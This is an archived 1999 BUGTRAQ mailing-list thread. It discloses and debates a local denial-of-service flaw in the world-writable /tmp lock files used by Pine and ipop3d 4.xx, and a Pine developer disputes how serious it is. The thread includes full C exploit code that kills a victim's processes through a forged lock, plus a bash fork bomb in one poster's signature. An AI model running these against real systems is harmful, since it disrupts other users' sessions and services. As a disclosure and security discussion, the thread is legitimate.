Date: Sun, 7 Mar 1999 01:41:25 +0100 From: Michal Zalewski Lockfile vunerability in ipop3d 4.xx The problem is probably well known, but silently ignored by pine vendors. Unfortunately, it's possible to turn 'mostly harmless feature' in something nasty - following code allows various DoSes by killing all processes of luser (could be root?) every time he/she runs pine or receives mail via POP3 protocol: -- lock-exploit.c -- // Pine 4.xx, ipop3d 4.xx and other /tmp-lock based mail stuff. #include #include #include main(int argc,char* argv[]) { int i,a=0; char s[100]; struct stat x; if (!argv[1]) exit(printf("Usage: %s account_name\n",argv[0])); sprintf(s,"/var/spool/mail/%s",argv[1]); if (stat(s,&x)) exit(printf("Mailbox (%s) not found.\n",s)); sprintf(s,"/tmp/.%x.%x",(int)x.st_dev,(int)x.st_ino); fchmod(i=open(s,O_RDWR|O_CREAT,0600),0666); while (1) { lseek(i,0,0); write(i,"-1",2); ftruncate(i,2); fsync(i); if (!a++) if (!flock(i,LOCK_EX)) printf("Got lock on %s.\n",s); else printf("File %s already locked, wait...\n",s); sleep(1); } } -- eof -- Works well under Linux. Under BSD, pine seems to have broken mailbox access negotiation (fortunately ;-). No information about ipop3d. Mainly, this vunerability demonstrates that world-writable mailbox locks in /tmp are SICK IDEA (one day, as I recall, one of pine vendors said it's 'harmless', while other solutions allows several DoS attacks... huh). - _______________________________________________________________________ Michal Zalewski [lcamtuf@ids.pl] [link / marchew] [dione.ids.pl SYSADM] [Marchew Industries] ! [http://lcamtuf.na.export.pl] bash$ :(){ :|:&};: [voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813] Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch] ----------------------------------------------------------------------------- Date: Mon, 8 Mar 1999 02:37:18 +0100 From: Michal Zalewski > 3. Lockfile vunerability in pine 4.xx (Linux) > 4. Lockfile vunerability in ipop3d 4.xx It has been addressed as 'negative value' problem. The problem is buggy negotiation protocol, not negative, positive or any other PID itself (disallowing negative values won't prevent attacker from killing choosen processes). So, as today, there's no chance for complete solution on /tmp mailbox locks. ----------------------------------------------------------------------------- Date: Thu, 8 Apr 1999 18:16:48 -0700 From: Mark Crispin Reply-To: Pine Team We thought these claims required a response from us since they contain misleading information and only about 20% fact. And by the way, we were not contacted before this post was made to BUGTRAQ, as protocol states. The impact is only with the standard UNIX format. The buffer overflow claim, and in particular the alleged root compromise, is bogus. The process is not root when mailboxes are open; nor can it get root back. He is confused by the SVR4 semantics of UID; the caveat about the real UID does not apply to root processes doing setuid(). The maximum exposure is that one byte of stack frame may be set to zero, because of a "buf[x] = 0" for a stack buffer of length x. This may cause a SEGV; more likely it will just clobber a variable that isn't used after that point in the function anyway. It is not possible to write something else, nor is it possible to write at any other location. In other words, this "buffer overflow" bug is just an ordinary bug. It doesn't happen unless the software is abused, and even may be totally harmless depending upon the code that your C compiler generates. It is *NOT* a security bug in the normal sense. Now, we'll talk about the 20% that is fact. Yes, it is possible to write a negative process ID in the lock file. This requires that the attacker have shell access; it can't be mounted remotely. It also requires that the attacker have a program running at the time that the victim opens his mail file. Not only is the program running, but it has the lock file open and locked. In other words, it's incredibly easy to catch; particularly if you have lsof. Nor can there be any question of intent when it comes to prosecution. Only an extremely stupid individual would try it. ----------------------------------------------------------------------------- Date: Fri, 9 Apr 1999 09:06:23 -0700 From: Mark Crispin To: BUGTRAQ@netspace.org Subject: Re: ipop3d (x2) / pine (x2) / Linux kernel (x2) / Midnight Commander (x2) On Fri, 9 Apr 1999 10:48:05 +0200, Olaf Kirch wrote: > There's a feature in imap that's rarely if ever mentioned which lets > you configure the lock protection for mailbox locks. In /etc/client.cf, > you can do `set lock-protection 0600'. The source says it's totally > unsupported and may go away anytime, though. Don't do it. It won't work. It will break things, and subject you to public humiliation should I get a bug report as a result. The locks are 666 for a reason. Forget about denial of service problems when you have hostile users with shell accounts (why would you have such a thing anyway). We're talking about denial of service problems when all of your users are good guys and are cooperating with each other. ----------------------------------------------------------------------------- Date: Sun, 11 Apr 1999 16:13:21 +0400 From: GvS To: BUGTRAQ@netspace.org Subject: Re: ipop3d (x2) / pine (x2) / ... On Fri, 9 Apr 1999, Mark Crispin wrote: MC> The locks are 666 for a reason. SHIT! Sorry... The lock mode MUST be selectable. I can't see almost any reason for world-writable locks for me and my systems. If somebody wants to, he can set them 0666 by hand. In any case I would require truly shared mailboxes, it's enough for me to have the lock mode group-writable (0660) and permit access for the specified group. And only! Making lock-file mode 0666 doesn't allow me to detect hostile user whether he/she appears on my system, but easily allows him/her to perform at least 2 different DoS attacks agains somebody's Pine. It's headache. SY, Seva Gluschenko, just stranger at the Road. GVS-RIPE: Cronyx Plus / RiNet network administrator. --- IRC: erra * Origin: Erra Netmale (gvs@rinet.ru) [http://gvs.rinet.ru/]